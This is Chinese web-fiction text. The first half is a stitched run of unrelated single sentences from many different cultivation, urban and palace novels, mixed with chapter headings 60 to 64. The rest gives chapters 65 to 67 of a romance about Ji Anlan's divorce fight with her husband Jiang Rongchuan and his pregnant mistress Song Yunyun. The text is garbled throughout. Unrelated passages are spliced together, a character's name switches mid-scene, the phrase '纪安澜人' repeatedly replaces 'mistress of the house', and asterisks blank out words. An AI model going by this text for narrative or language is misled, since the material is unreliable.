永生公司虽然是私营公司,但是跟政府部门有着千丝万缕的联系,比如永生公司没有自己的研究部门,全都是依托政府的一个研究中心来搞的。
“再叫我就打断你的另一只腿。”云城冷哼了一声,再次重重的踩了一脚,陈璇依旧不言不语的惨叫着,声音凄厉的令在场的众人无不心惊肉跳。
神之眼,惊天动地,具有不可思义的威力,看的众人莫不倒吸冷气,让诸多老辈人物都脊背生寒,他们阵阵心惊肉跳,若是他们对上幽叶半神这个妖孽,多半会饮恨而终。
“现在我问大家一个问题,尔等对于天星神子榜尔到底知道多少?”叶凝儿淡淡的说道。
扫天雷一愣,什么,竟然在走了不到二十里地就遇到了伊利亚特人,难道他们不怕雇佣兵团抄了他们吗?离着他们这么近?
严密,隐匿,这到底是一个什么样的组织,它又为什么要对我动杀手?
剧烈的爆炸声地动山摇,直接炸穿了之前许断他们住的那间房子,瓦砾乱飞好几个守卫都被击中。
“误会?我看现在才是误会大了。”吴易也严重怀疑这家伙出门的时候脑袋被门挤了,行事有些反常,不是有些,而是太特么反常了。
杀气和灵力狠狠碰撞,爆发出璀璨的光芒,恐怖的能量八面震荡,整个后山震颤,守护大阵被崩碎!
这东西控制着体内灵力的运转储存,寄生于心脏之处,相当于心脏内核的存在,取之不尽用之不竭,一切都受着意识的控制,极其方便强大。
“此人手段繁多,而且他还有手段没有施展出来,何况他乃是五人之一,此刻不宜打草惊蛇。”此人乃是唤醒长空大帝的人选之一,若是此刻斩杀,必然会引起天狼老祖的窥探,到时候得不偿失。
暗中说别人是非又被当事人发现,即使他们脸皮再厚,也说不下去。
墙壁上相隔同样的距离挂着价值昂贵的画像,栩栩如生,相得益彰。
死在我剑下的,不是大奸大恶之辈,就是为非作歹之徒。哪一个不是双手沾血,十恶不赦?
甚至是有些幼稚的孩子会偷偷跑进黑市里买一些,用来所谓的在课上听不懂,用这个来录下来等回去再看。
封世咬牙,强提血气,想要破开体内的寒气,但曲屠的攻击再次爆发。
哪里知道,怪物突然一跃而起,迅速地向着山洞的深处跑去。怎么也追不上了。
“他们都是高手,以他们的修为,有魔龙元神抗衡,至少也需要好几个时辰才能彻底吞噬。”齐玄易有些担心,他的修为很难支撑那么久。
星辰见臭粑粑走了他笑的眼睛都眯在一起,乖乖趴在叶尔若肩膀上,这一次,他无论如何都不能再让麻麻跑掉。
第一卷 第60章 强强联合
江容川神色一凛,墨染的眸子泛着幽光。
一旁的宾客看到这一幕,唏嘘不已,窃窃私语。
纪安澜冷冷地旁观着,脸上没有多余的神情,眼神淡漠,仿佛事不关己。
而人群却炸了锅。
“早就听说江容川外面有了人,现在看来是真的。”
关晴珊突然拿出一颗紫晶珠子来的时候,她也曾怀疑过真假,只是关晴珊不肯将珠子给她验证一番,事关十一,她不敢也不能冒险。
但他还有个最重要的问题,如果红信的量子计算机成功上市销售,并且取得了一定的市场效应,那么红信就需要一个全新的信息处理中心,简而言之,就是需要一个新的“智能大脑”。
随即,她又感觉到怀里的身子狠狠地震颤了一下,此时他落在她脸上的眸光冰冷而陌生,显然是动了真怒。
来到心外科,孟涛突然想起一件事,昨天忘了问董建良路长辉母亲的病房号了,当孟涛正准备到护士站问一下时,恰好看到路长辉从走廊对面走过来。
不过就算知道是这样的结果,它也不会就这么轻易的放弃的,怎么也得尝试一下,万一真的跑掉了呢。就算跑不掉,尝试了之后也不会觉得后悔。
“启禀太后,奴婢已经将陈美人被人谋害一事查清楚了,这是奴婢调查的结果,请太后过目。”管事嬷嬷说道。
默默地记下这里,他也不知道以后还有没有机会再进入这座神域,但如果有,他希望那时候自己有足够的实力进入那木屋,看看里面到底有什么宝贝。
关虎等将众再度望向那幅画,绝大多数的将领显得仍然认同麻贵的判断,却是显得十分不解地望向徐渭道。
肩膀骨断裂声响起,矮个子双脚离地上半身狠狠砸在地上。接着邢烈身体转了半圈,手腕一翻,钢管掠过左肋向后刺去。
清尘面上也是一白,这形成的大阵与他们的精神力还存在着联系,大阵受到冲击,他们的意识海同样也会受到震动。
修复法界则需要大量的混沌之气,这却是让穆大少有点犯难,毕竟此地处于城镇地带,混沌之气稀薄。而穆大少又没有混沌结晶。如此,穆大少却是无法修复法界。
建议:因血忍实力高于一般上忍,希望由两名上忍一起出手,或由一位精英上忍接取。
姜子牙点了散宜生,唤了散宜生过来。晓得原委,散宜生极为激动,可见定然会尽心尽力督办此事。为了表示诚意,石慧则点了姬旦负责此事,伯邑考负责与散宜生具体对接。
看的兰斯瞪大了不敢置信的蓝眼珠子,也没有想象中的,美人投怀送抱的举动。
杨缱阻止了她唤守夜的白露起身, 比了个手势后,两人齐齐出了庭院。
顿时,整个雷斯顿要塞警报声大作。当他们进入司令部的时候,整个要塞的士兵,都朝着各个建筑里面涌进来了。
“我现在很紧张的,恩,没有错,好紧张哇!”说到激动处,梅子连声音都变得颤抖了。
鹏飞实业股份有限公司董事长兼总经理办公室内,钟岳正坐在宽大的老板椅里打着电话,总经理助理林一南从外面走了进来,看见钟岳正在打电话,他把手里的东西放在桌子上,转身想先出去。
第一卷 第61章 你怀孕了吗
江老爷子一听这话,更是气得捶胸顿足,吹胡子瞪眼。
“我说!我想去挑战珠穆朗玛峰!”宋玉皱了皱眉头,大声的对宋亮说道。
柳天对这种事情分的很清楚,既然冰姬和冰凌帮了他和墨璃,那他就会放下之前的所有恩怨,毕竟也不是什么大事。不过令柳天不解的,是为什么到现在了,冰姬还对之前的事念念不忘呢?
一片黑暗,在短暂的适应了黑暗之后,周围的环境轮廓逐渐的出现在政纪视网膜之中。
“两位……”负责人张了张嘴,正打算当个和事佬劝说两人不要继续再战。
柳天依旧没有说话,只是目光灼灼的望着手中的中和莲,连忙将其收到空间法阵中,唯恐这吞无鳄长老会后悔。这吞无鳄像是看出柳天心中所想一样。
“你倒进去的,是什么东西?怎地这么霸道?!”龙老爷子不耻下问,老爷子也看出来了,自己的这个孙子,身上古怪极多,万万不能以平常之理揣测之。
段芊夭看着夜锋,那颗在仙域她的家惨遭灭亡后便冰封起来的心出现了温暖。温暖慢慢蔓延了开来。让她觉得,这一次一时不备被下毒失去修为一事,似乎也不全是坏事。
袁洪已经听出了太叔厉的意思,并且对自家的处境也不担心了,太叔厉的意思就是知道李治的性格才这样做的,如果是袁洪,他们就不一定这样做了。
他想要看看,他这无奈而收下的第一个徒儿,虽不知为何收到生命精灵的青睐之后,究竟会有着怎样的作为?
“他的安全,你不用担心,我自然会保证,你按照我的话做就行。”秦敏冷冷地说道。
这到底是为什么?寻奕他到底经历了什么,要依靠这些邪物来维持力量,甚至是生命。他那时候,到底见了谁?
片刻之后,他便将体内经脉、元力,统统重新洗练过,而后便一闪回到界兽的血盆大口之内,静静潜伏下来。
雪神罗那一击,可不是随手为之,而是真正全力施展,纵然没有飘雪大尊亲自操纵,却也是大尊之下,最最极限的威力层次。
离火丹雀根本没有坐镇后方,先看妖君们打生打死的计划,攻城令下,就一鸟当先。
李牧羊陪着罗琦和李思念聊天到深夜,罗琦将李牧羊离开江南城之后的生活事无巨细的都问了一遍。李牧羊也很有耐心的回答,一点儿也不觉得烦躁。
话音刚落,阿落就感觉到了越来越强的自脚底下传来的震动感,还伴随着轰隆隆的声音,像是雷鸣,但是不是从天上传来的。
找下人打了桶水将身上好好洗个干净后,又换了件衣服,没有吩咐管家备马,而是徒步朝着太子府的方向走去。
君莫笑也是习惯使然,然后搜索了一下淬体丹,紧接着一个恐怖的丹药名称出现在他的视野之中。
这人是秦家店铺的掌柜,原本看见秦光苟到来,有些踌躇,但下一刻,他也乐得见到秦光苟被教训。
走进去,里面的空旷更加震撼住了他们,仿佛置身于一个巨大的神庙一样,就连心灵都受到了洗涤。
第一卷 第62章 上热搜了
“怎么了?”
纪安澜语气急切,充满担忧。
“你上新闻啦!”
姚姿扯着嗓子喊着。
今日晚宴,闹出那么大的动静,上新闻也不足为奇。
光是前期的调查、动员、组织、登基,都足以将各郡县的官吏忙得晕头转向,有些地区,还要执行强制移民。
乾元离开的五年,因着许褚已经执掌禁卫军,李元霸跟李存孝这两位盖世猛将一直肩负着拱卫王宫的重任。
话音未落,被带着泥浆的石头砸中头部,手一松,顺着泥浆冲了下去。
“我不想这样。5年前我已经后悔过一次,我不想现在再后悔一次,你不喜欢她,我们可以不回霍家,但是,我绝对不会再允许你伤害她!”他愤怒 说。
开枪射杀这名雇佣兵的同时,龙飞的身影立刻又窜到旁边的墙角,只见一颗颗子弹立刻是打在了他藏身的墙角,飞石乱溅,差点连整堵墙都给轰塌下来。
在忠义厅拳王争霸赛的总决赛上,龙飞知道铁山就是一名a级成员,他所表现出来的实力,让龙飞当时是十分的震惊。
陆时遇立刻蹲下身子,慢慢的掀起她的裙子,白嫩的膝盖上有一块擦伤,血迹映在了白色的裙子上,伤口还有着灰尘。
“什么?”沈随心也抬头喜笑颜开的看向傅之霖,笑容里透着几分幸灾乐祸。
曹老板虽然只是商铺的生意人,但是他对战神学院的制度却很是了解,毕竟像赤峰宇这样的天才,按理说至少也该是天院的学生。
天选无痕的背上像似有着重物一般,身体突然软弱无力,躺在地上喘气,不过脸上的表情却写着终于轻松了。
在听见我的话之后,那个叫三哥的家伙是猖狂的大笑了起来,笑的一身肥肉乱颤,看着都让人觉得恶心反胃,他现在这样就好像是我刚刚说了一个天大的笑话一样。
打开兑换列表,同天微微吃惊,兑换的奖励十分的丰厚,甚至还有一套九星的白金套装,只是那个分数就算是他也差了一点,就更不要说其他的人了。
阿豹被带到了他想要摔死我的烂尾楼里,绑成了一个粽子,头上还戴着一个黑面罩,呜呜的叫着。
可是不知道为什么,这个时候,魔影一句话都没说,他好像是站在探血那边的。
而在金凤娇对面站着的是一名手持三叉戟的年轻男子,不过其脸颊chu却是长着一块拇指大的胎记,也是其最为引人注目的地方。
他是站在王虎龙的面前,不停的挥着巴掌,每打完一巴掌的同时,还不忘嘲讽王虎龙一句。
我叫了一声,见媚姨没有理我,她越不说话,风暴越恐怖,那是一种心灵的颤栗,车内的空间都被压抑到了极点。
随后两人便是朝天虚宗所bao下的庄院行去,罗昊已然打定短时间便是呆在这里,提升修为,同时等待即将运来普陀城的那株龙骨草是不是就是他所要的龙筋草。
看到他这举动,妙香圣尊几人却是坐不住了,苏图尊者是大声开口。
“自然是有的,太初在灵气战场有一座墓,那里葬着他的骸骨。”黑天道。
第一卷 第63章 一如既往的嘴毒
杨钺向杨明坤道出自己的难处,顺便向说清楚,当初,皇上在皇宫内中毒,与他没有任何关系!
而正因为这里的比武拳拳到肉,甚至有生命危险,所以很吸引叶羽这些世家子弟。
并且他还将自身的等级一下子提升了两级,这可是非常大的意外之喜了,要知道他得到万界代购系统已经有一年多的时间了,才刚刚升到5级,可想而知,要不是接到任务订单的话,升级的确是件很难的事。
“放手!不然的话,我家中长辈不会放过你!”试着抽了几下,都没能将手臂抽出之后,端木泽终于感到一丝惶恐了,直接将家中的长辈搬了出来。
这些严氏府兵虽然装备精良,但平日养在各府之中,疏于训练,战力极差。
“三件玄宝!”一旁,不少瑟瑟发抖却是不敢随意将背后留给对方的修灵者,不禁惊呼出声道。
在暗夜行者其他暂时休息的参战者、职业选手以及数百上千万英雄联盟和王者荣耀玩家观众们的目光注视下,这一轮暗战的a组对局终于开始。
那长老内心也很好奇,哪怕之前自己已经能够猜想到一些,可是毕竟不是亲眼看到,恐怕也会有很多出入。
“你说够了没有,不就是想要出去玩儿吗,我告诉你,这是不可能的,我是不会同意的,我们绝对不能让鸿钧发现我们的存在,不然我们跟李少凡之间所有的约定都将会作废。”阎王爷摇摇头道。
只是,如此年轻的一个神境,真的让他难以相信,这是真的,他真的不敢相信。
葵在几个月前就从政治中心安阳飞到了香港,而夜·修亚正是这个分部的主管人。
瀚星为蓝忻夹着菜,同时从零开始解释“圣战”,不过,在后者听来,这一切都是天方夜谭。
几人一时唏嘘不已,在那里叽叽喳喳的说个不停,胖子也不去管他们,知道他们同门相逢,自然会有说不完的话,任由他们在这里叙话,自已只管四处打量着这青萍洞天周围的变化。
“大将军不用担心,这段时间天气晴好,没有风雨之兆,水军应该是一方风顺的。”皇甫真感受到石青的低落,出口安慰。
毫不奇怪费舍尔的询问,因为阿基米德也有同样的猜测。这一切发生的都太巧了,而且两人的目的似乎都有些一样,促成他们彻底地瓦解联合ZF高层竖立起来的势力。
就在阿治离开不久,一位面目可憎的彪形大汉沿着阿治离开的方向追了过去。
见到神父不信任的样子杨波暗暗好笑,当下便把博彩的方式原原本本的讲解了一番,又把前几次的操作也说了。
数十位弟子乃是谢云婷的明追、暗恋以及崇拜者,这些人一个个义愤填膺、怒不可遏,各引灵剑向前围杀韩风。
因为刚才的一战激战,场地内留下的尸体简直是无可计数,比活着的虫子多上几倍,加上不惧死亡,只要身体没被完全毁掉就一直能动的特点,恐怕要比真正的虫子还难对付。
屯长洪三强与教导官王守成恭敬的接待杨波一行,杨波选择视察威风堡是有理由的,威风堡地势相当重要,位于金州城以西十里处,担负着扼守金州西面沿海,并且监视扇子山的重任。
南风本想说她想征求你的同意,但转念一想,不成,这话若是说了,起不到拍马屁的效果,反倒会令诸葛婵娟联想到二人私下有过密议,怕是又会吃醋。
等我跳下去之后,上头轰隆一声,被石板给盖住了。想来是李腾飞怕有人发现。
“姑且答应吧,卧榻之侧岂容他人鼾睡,毕竟在他的边境之内,若不答应,怕是他第一个要对付的就是我们”穆河说道。
也可怜了这个苏胆大,他的情报根本就不知道岛国第一大家族的金井家也选在了白云山动手,他更没想到自己派出的那些精锐,居然都死在了金井家驭兽人饲养的恶狼嘴下,连正面跟东子打都没打,就成了恶狼的晚餐了。
南风闻言,微笑点头,温昭是富家子弟,并无官职在身,以卑职自称,乃是为了感谢他的提携,暗示晋身大罗之后唯他之命是从。
在这时间段内,林枫二人身体中一直经历着隐痛,当然,也仅仅是隐隐作痛罢了。
地府军的消耗虽然巨大,但效果还是立竿见影的,绝对不能因噎废食。
说李朝宗去了梁国的还不在少数,有的还言之凿凿,连李朝宗南下时穿了什么衣服都晓得。
而万化起源宝瓶之中,除了主人空间,其他已经打开的空间也都剧烈震动起来,竟然隐隐有崩溃的趋势。
离开倾城美容的赵静雯看着热闹的会所,也是露出了一丝幸福的笑容,随即拿出了手机给陈旭打了过去。
第一卷 第64章 一个月的时间
长条会议桌两侧,坐满了远卓科技董事,他们全都是在商场经营了半辈子的老狐狸,此刻虎视眈眈地盯着纪安澜,眼神里满是审视与质疑。
恐怕是被她刚刚的表情给吓到了吧,贺兰瑶轻轻拍了拍贺兰致远的肩,回了个笑意。毕竟算是连续被两个男人背叛,无怪她会有些控制不了情绪。
这具基因改造下的产物,不死不灭,相比寻常的丧尸,它们拥有灵活的敏捷力。
要知道周皇后一直以来都是掌着宫权的,六宫之中的事情说多不多说少不少,就算后来多了一个沈淑妃来“帮”她打理,但如此一来惟恐被架空,周皇后却更忙了。
“回前辈,晚辈前来,乃是为了巡回我李家先辈遗失的修炼秘籍。”李国政不敢隐瞒,急忙道。
而最后,作为压轴登场的便是刘菲,玻璃种翡翠制作的吊坠,戒指,祖母绿制作的耳环,镯子,在她的身上更显得璀璨夺目,吸引了所有人的目光。
就在眼前,竟然是一处巨大的岛屿,岛屿上面散落着一些人类生活过的痕迹,钢铁、汽车以及一些近现代的建筑。
林碧霄挂断电话之后却并没有在第一时间给毕阡陌打电话,而是眸底升腾起一抹寒意。
“怎么可能是他,应该是认错了。”朱鹏微微摇头,墨客不过是一个普通的大学生,就算是有点本事,会点功夫,也不可能买得起这里的别墅。
她美的很惊艳,甚至能够让人忘记容貌,这个美不是在外表,更多的则是从里到外的蕴含。
沈家明的话还没有说完,林碧霄已然放下了手中的刀叉,更是直接耷拉下了脑袋一副沮丧不已的模样。
游戏展开的方式是:玩家赤手空拳地分布在岛屿的各个角落,利用岛上多样的武器与道具。随着时间的流逝,岛上的安全地带越来越少,特定地区也会发生爆炸的情况,最终只有一人或一个队伍存活获得胜利。
李吏是锦衣卫指挥使,刘谨是司礼鉴掌印,而且不出意外,刘谨还会接掌东厂的人手,面对这二人,侍卫们自然不会视而不见,没给李吏还有刘谨直接跪下来磕两个就已经很不容易了。
“原来如此,想当年,为了建造这样的城市,可是和龙族许多的先辈们把酒言欢,日月飞驰若光剑,数千年过去了,也不知故人可好,他们现在怎么样了!”仲腾闭上了眼睛,神色中有些难受,似乎是在缅怀曾经的岁月。
巨大的蘑菇云在天空中闪现,烟尘满布整个天地之中,那爆炸的力量,让整个仙人岛都要震颤了起来,仿佛就要碎裂开来。
要是真发生了,难道真和妹妹翻脸,然后半夜将这“肥猪肉”勒死吗?
武义却不以为意,打开了摩托车的两个挎包里面放着二千发子弹,应该够用。
“禀大王,敖阳将军什么什么消息都没有传回来,最新的消息,依旧是第一天发出的!”侍从颤颤巍巍的回答,看着那紧绷的威严的脸庞,噤若寒蝉。
她一阵害羞,但看了看四周,除了正坐在摊子里面喝水的老板,也没有别人,赶紧嚼了几下将那元贝咽了下去。
第65章 我能帮你渡过难关
众人倒抽了一口凉气,瞪大眼睛不可置信地看着纪安澜。
他们没想到纪安澜竟然真的敢应下这个几乎不可能完成的赌约。
“纪总,你知不知道你在说什么?”一个董事急了,站起来:“你觉得你一个月内能完成吗?那可是天价违约金,凭你和现在的纪氏能给得起?”
若是纪安澜真的有钱,也不会来找他们合作了。
“我很清醒,知道自己在说什么,既然口说无凭,那现在就和签合同吧。”
话音刚落,董事愣了一瞬,随即面色难看地让人去拟定合同。
各位董事窃窃私语,偌大的一个办公室里,全都是质疑声。
“我看,她就是想钱想疯了,该不会要拿钱跑路吧?”
“婚变的新闻都出了,估计她想跟江容川离婚,拿了钱再补上违约金?”
“哎!**真是可怜,有这样一个儿媳妇,真是拖累!”
纪安澜脸色未变,他们这些外人懂什么?只会看笑话罢了,她无心争辩。
新的补充协议放在纪安澜面前,仔细地阅读了一番后,纪安澜毫不犹豫地签下了名字。
字迹凌厉张扬,跟上次一样,带着破釜沉舟的决绝。
只是这一次,纪安澜更加用力,目光也越发坚定。
自从醒悟过来后,纪安澜觉得,在这世上,就没有不可能的事。
只要她想做,就一定能完成!
董事们看着纪安澜签下的合同,眼底满是震惊。
纪安澜冷冷地扫视了一圈,把笔拍在了桌子上。
“好了,我的诚意够足吧?请各位董事拭目以待。”
话音刚落,纪安澜转身离开了办公室。
身后,传来了讥讽声。
“这个女人太不自量力了,居然敢签这样的合同?敢问在座的各位,哪个敢签?我看他就是想离婚了,拿钱来堵我们的嘴。”
“现在装的有多厉害,以后打脸就有多疼!反正打的也不是我们的脸,我们就等着看笑话吧。”
“一个月内市值翻倍,还是半死不活的纪氏,我想都不敢想,这个女人太大胆了,恐怕到时候会哭着向我们求饶!”
各位董事全都是看好戏的表情,他们几乎可以想象得到纪安澜倾家荡产、走投无路向他们哭诉的表情了。
纪安澜出了远卓科技,拦了一辆出租车,脊背靠在座椅上,紧绷的神经才缓缓放松,眼底满是疲惫。
一个月,时间太短了,她必须得争分夺秒,好在现在项目正在进行,她暂时可以放松一点。
打开手机,映入眼帘的就是寿宴上的新闻,事件还在发酵,看来有人是在背后推波助澜。
不是江容川就是宋妘妘。
不管是谁,纪安澜都没有闲心跟他们僵持下去。
看着通讯录上的手机号码,纪安澜拧了拧眉心,压下心底的厌恶,给江容川拨了过去。
电话很快接通,那头传来了江容川愉悦的嗓音。
“澜澜,你终于肯主动搭理我了。”
“什么时候**?”纪安澜单刀直入,语气轻冽,丝毫不拖泥带水。
她现在最主要的事情就是离婚。
寿宴上之所以能闹那么大的丑闻,无非就是两人还没有**,可离婚协议已经拿到手了,要是就此拖下去,江容川迟早还会拿着这段名存实亡的婚姻来做文章。
她不想再被要挟。
“事到如今,你想离婚?”江容川冷笑了一声,语气里夹杂着浓浓的嘲讽。
“你可知道现在离婚,我只需要一句话,纪氏的股价就能跌到谷底,甚至连一周都撑不过去。”
纪安澜知道,他这句话虽带着威胁,却是事实。
更卑劣下作的行为他都做了,更何况是这个时候落井下石?
纪安澜面色沉了沉,“江容川,你真令我觉得恶心。”
“我们好歹夫妻一场,我不会对你赶尽杀绝。”江容川顿了一下,冷声道:“我甚至可以帮你渡过难关。”
“毕竟你是我的妻子。”他又补充了一句。
纪安澜像是听到了一个天大的笑话,忍不住笑出了声。
“所以,你在爷爷的寿宴上,把我这个妻子晾在一边,陪着小三喝酒应酬,让我成为全市的笑柄?这就是你的妻子
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?”
明明从未在意过她,却装作一副深情的模样,纪安澜觉得胃里一阵翻滚,差点呕出来。
“她能给我资源,而你呢?”江容川声音冷了几分。
想到前几日纪安澜对他的态度,又想到纪安澜现在的处境,原本烦闷的心瞬间变得得意。
“你只需要把手里的AI知识产权,还有爷爷的私产全都交给我,我就可以帮你保住纪氏。”
他直接说出了诉求,语气里带着贪婪。
纪安澜几乎可以想象得到他现在满脸算计的卑劣模样。
“你这是在帮我?”纪安澜冷笑道:“你就是想要我手里的东西,别做梦了!我绝对不会给你的。”
纪安澜想都没想就拒绝了。
AI知识产权本就是属于纪氏的,那是父亲的心血。
而爷爷给她的私产,她早就交给了沈南姗,那是爷爷对她的爱,她绝对不会交给江容川这个狼心狗肺的渣男!
尽管现在已经到了山穷水尽的地步,纪安澜依旧嘴硬,咬着牙坚持。
“我就算是饿死,赔得倾家荡产,我也绝对不会让你如愿!”
他们两人之间何止是离婚,更是无法逾越的仇恨。
“你害得我这辈子都没办法再有孩子,抢我纪家资源,你妹妹还对我母亲下手,桩桩件件,你觉得我会把东西给你?别白日做梦了。”
“事到如今,你连一句软话都不会说了吗?”江容川语气里夹杂着怒火。
那个温柔贤淑的纪安澜去哪了?
以前只需要哄哄,纪安澜就会如跟屁虫一样跟上来。
现在倒是脾性大了。
看来是他惯的太厉害了。
江容川冷声道:“你不是想离婚吗?那我们三天以后民政局见。”
话音刚落,又补充了一句:“要是三天内你后悔,可以来找我,我说的话依旧算数,你只需要把你手里的东西交给我,我就能帮你保住纪氏。”
“不需要!”纪安澜想都没想,断然拒绝。
“纪安澜,你真以为凭你的那点破手段能保得了纪氏?没有我,纪氏只有死路一条!”
第66章 我才是江家少夫人
“这世上还有没有了你不能做到的事?”纪安澜嘴里满是讥讽。
“江容川,你等着瞧,我会让你后悔你的所作所为!”
说罢,纪安澜果断挂断电话。
靠在椅背上,纪安澜眼睛里满是疲惫,闭上眼睛,脑海里全都是董事们咄咄相逼的画面。
如今,江容川肯定也不会坐以待毙,说不定会落井下石。
前有狼,后有虎。
形势不容乐观。
可箭在弦上不得不发,现在已经没有回头路了。
即便前头有艰难万险,她也只能一步一步踩碎阴谋与算计,杀出一条血路来!
海澜湾。
江容川盯着熄灭的手机屏幕,面色阴沉。
他已经记不清纪安澜这是第几次挂他的电话了。
曾经,纪安澜从未主动挂过电话,语气也都十分温柔。
可是不知道从何时起,她变了。
本以为哄哄就好了,可现在似乎已经闹到无法收拾的地步。
站在门口,脑海里全都是纪安澜在的时候的温馨场面。
他的嘴角不自觉地上扬,仿佛纪安澜还在他的身边。
突然,手机铃声响了。
思绪回拢,他的眼中闪过一抹惊喜。
本以为是纪安澜打来的电话,他立刻接听,可电话那头却传来了宋妘妘的嗓音。
“容川,老爷子的寿宴,你答应我以后可以住在海澜湾,可要说话算数?”
语气中带着一丝试探的意味。
周慎面色一沉。
他确实答应过,既然宋妘妘能帮他联系上周霆云,让她搬来也无妨。
只不过,像是上次顾意设计拍亲密照的事,他绝对不允许再次发生!
周慎声音冷冽:“你也别忘了答应我的事。”
宋妘妘脸色微变,立刻笑着回答:“当然,我答应你的事怎么可能会忘记?像那种事,绝对不可能会再发生!我保证!”
“嗯。”江容川淡淡的回了一个音节。
刚准备踏进门,突然接到了一个来电,立刻停下脚步,处理工作。
而海澜湾别墅里,宋妘妘挂断电话,看着富丽堂皇的客厅,眼睛直放光。
其实,她一早就搬过来了,生怕江容川后悔,只有先下手为强,才能保住地位!
刚才打电话也只是先给江容川吃一剂定心丸,省得惹他不悦。
她穿着真丝睡裙,换上了拖鞋,靠在真皮沙发上,一脸享受。
手指放在小腹上,轻轻地摩挲了两下,嘴角噙着得逞的笑意。
她早就说过,她才是江家的少夫人。
纪安澜算什么?
一个不会下蛋的母鸡,还敢来跟她争?
唇角溢出一丝轻蔑的笑。
余光瞥见佣人往厨房走,她冷声吩咐:“我怀孕了,胃口不好,以后做饭之前,一定要问一下我,不然全都给我重做!”
佣人立刻点头:“是。”
简单的回答,却不能让宋妘妘满意。
她冷冷地扫了那佣人一眼,眼中满是不悦。
“我可是少夫人,以后注意你的称呼!”
“是,少夫人。”佣人连连点头。
宋妘妘满脸受用,冲着她挥了挥手:“告诉其他的佣人,以后也这么称呼我。”
话音刚落,便说了几个菜,让她去做,俨然一副纪安澜人的姿态。
那佣人答应了一声,立刻赶往厨房。
听着脚步声渐行渐远,宋妘妘眼底是难以克制的得意。
站在客厅里环顾四周,有一种君临天下的感觉。突然目光瞥见了桌子上放着的一张合照。
宋妘妘脸色难看,走近了一看,居然是一张全家福。
正中间坐着江老爷子,而他的身侧则站着江容川跟纪安澜。
视线紧盯着纪安澜的脸,宋妘妘面色一沉,旋即又冷哼了一声,眼底多了一抹不屑。
“就算以前你是这个别墅的纪安澜人又能怎么样?现在我才是!只要我肚子里的孩子出生,以后,你就再也没办法出现在江家!”
**现在需要继承人,也需要跟周家合作。
她只需要拿捏住这两点,就可以在江家混得风生水起。
宋妘妘正得意地想着,突然听见玄关处有声响,她立刻敛起脸上的算计,目光柔和地看向玄关。
果然,一道颀长的身影出现在眼前。
宋妘妘笑脸相迎,穿着拖鞋走上去迎接。
江容川听见脚步声,缓缓抬头,由于这些天在公
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司12个小时连轴转,忙得有些头晕,视线模糊。
他竟看见纪安澜向着他走来,眼中闪过一抹惊喜,伸手按住了她的肩。
“澜澜,你终于可以原谅我了?”
一听到这个称呼,宋妘妘的脸色骤变,唰的一下白了,不可置信地瞪圆了眼睛。
“容川,你看清楚了,我是宋妘妘,不是纪安澜!”
宋妘妘拔高了音量,掩藏着眼底的不悦,眼底多了一抹委屈。
这声音不对!
江容川揉了揉眼睛,仔细一看,面前站着的人不是纪安澜,而是宋妘妘。
他眼中染上一层不悦,看着宋妘妘换上了睡裙和拖鞋,俨然一副纪安澜人自居的姿态,莫名觉得心头一阵烦躁,太阳穴突突地跳。
“你怎么在这?”江容川语气不善,松了手。
“不是你答应让我来海澜湾的吗?”宋妘妘害怕江容川反悔,赶紧解释。
江容川烦躁地扯着领结,语气有些不耐:“是有这么一回事。”
“没想到你这么快就来了。”
原来刚刚那个电话是先斩后奏。
“忙了一天也累了吧,我让佣人准备了你喜欢的汤,喝点,解解乏。”
宋妘妘走上前,想要帮江容川脱掉外套。
鼻息间充斥着一股浓烈的香气,江容川紧皱着眉头,不动声色地向后退了一步,宋妘妘的手指僵硬在半空中,一脸尴尬地看着他。
“容川,你怎么了?”
江容川眉头紧锁,声音低沉:“孕妇不能用那么重的香。”
“可是我之前都是这么用的,你还说很好闻,我是因为你才……”
宋妘妘想要辩解。
江容川失去了耐心:“随便你吧。”
“容川,你这是怎么了?是不是工作不顺利?你可以跟我说,我或许能帮你。”
语气殷切,宋妘妘想再次靠近。
“不必了。”不知为何,听着她的嗓音,他的心情越发的烦躁,视线淡漠地扫了她一眼,江容川转过身去。“你先去休息吧,我出去一趟。”
话音刚落,摔门而去。
宋妘妘面色微僵,眼底的柔色褪去,只剩下了怨毒。
“纪安澜?又是因为你!”
第67章 还以为孩子不是你的呢
一想到刚才江容川叫纪安澜名字时的温柔神情,宋妘妘心里的醋坛子被打翻,眼底的怨恨将要溢出。
她明明已经来了海澜湾,做了这别墅的纪安澜人,可为什么偏偏江容川还是放不下她?
那个女人到底有什么好的?
不仅帮不了江容川,甚至还胳膊肘往外拐,她做的那些事,都踩在江容川的雷区上,可江容川不仅不怪她,甚至还极其宽容。
这要是换成她做的,她不敢想象江容川会如何对她。
一想到这里,宋妘妘心里的嫉妒就像藤蔓一样疯狂滋长,眼底的恨意越发的浓重。
这时,佣人端着热气腾腾的汤走过来。
“少夫人,可以吃饭了。”
话音刚落,准备把汤放在桌子上。
宋妘妘一听见“少夫人”这个称呼,好像被猫踩住了尾巴,脸色骤变,转过头,端起汤碗,用力地砸在了地上。
啪的一声,汤碗碎裂,汤汁流了一地。
佣人被吓得不轻,站在原地不敢动弹。
“少夫人,你这是怎么了?是不喜欢喝这个汤吗?我再去给你换!”
那佣人转身想逃。
“站住!”宋妘妘厉声叫住了她。
佣人脚步一顿,停在了原地,听见身后如鬼魅的脚步声越来越近,紧张得满头大汗,眼睛里充满了惊恐。
宋妘妘走到他面前,怨毒的眼神扫过她,声音冷到极致:“你是不是也觉得我德不配位?不配做江家少夫人?”
一听这话,佣人赶紧摇了摇头。
不管是谁做江家少夫人,都跟他们这些佣人没关系,他们只是些打工的。
宋妘妘冷笑一声:“我知道你们都看不起我,但是那又怎么样呢?我现在才是这个别墅的纪安澜人,就算你们看不起我,也得伺候我!”
她发出一丝尖利的笑声,恶狠狠地瞪着那佣人:“你叫我少夫人,是不是想要嘲讽我?”
佣人赶紧摇了摇头:“不是!是少夫人,您说让我这么喊的……”
她的眼睛里充满了委屈。
看着她可怜巴巴的模样,宋妘妘想到了纪安澜,眼神越发的阴毒。
“不许这样盯着我!你们这些女人一心想要爬上容川的床,别以为我不知道!今天晚上给我把整个别墅都打扫一遍,明天早上我来检查,不合格,卷铺盖走人!”
仿佛发泄般,宋妘妘命令着佣人,恶狠狠地瞪了他一眼,转身上了楼。
佣人站在原地,不知所措,眼眶一红,不敢哭出声,委屈的哽咽。
以前纪安澜在的时候,绝对不会这么对他们。
也不知道江总是怎么想的?放着纪安澜那么好的夫人不要,非要娶这样一个人回家。
此时,江容川冷不丁地打了个喷嚏。
酒吧包房里,薛从打趣道:“是不是有人想你了?让我猜猜,是纪安澜呢?还是宋妘妘呢?”
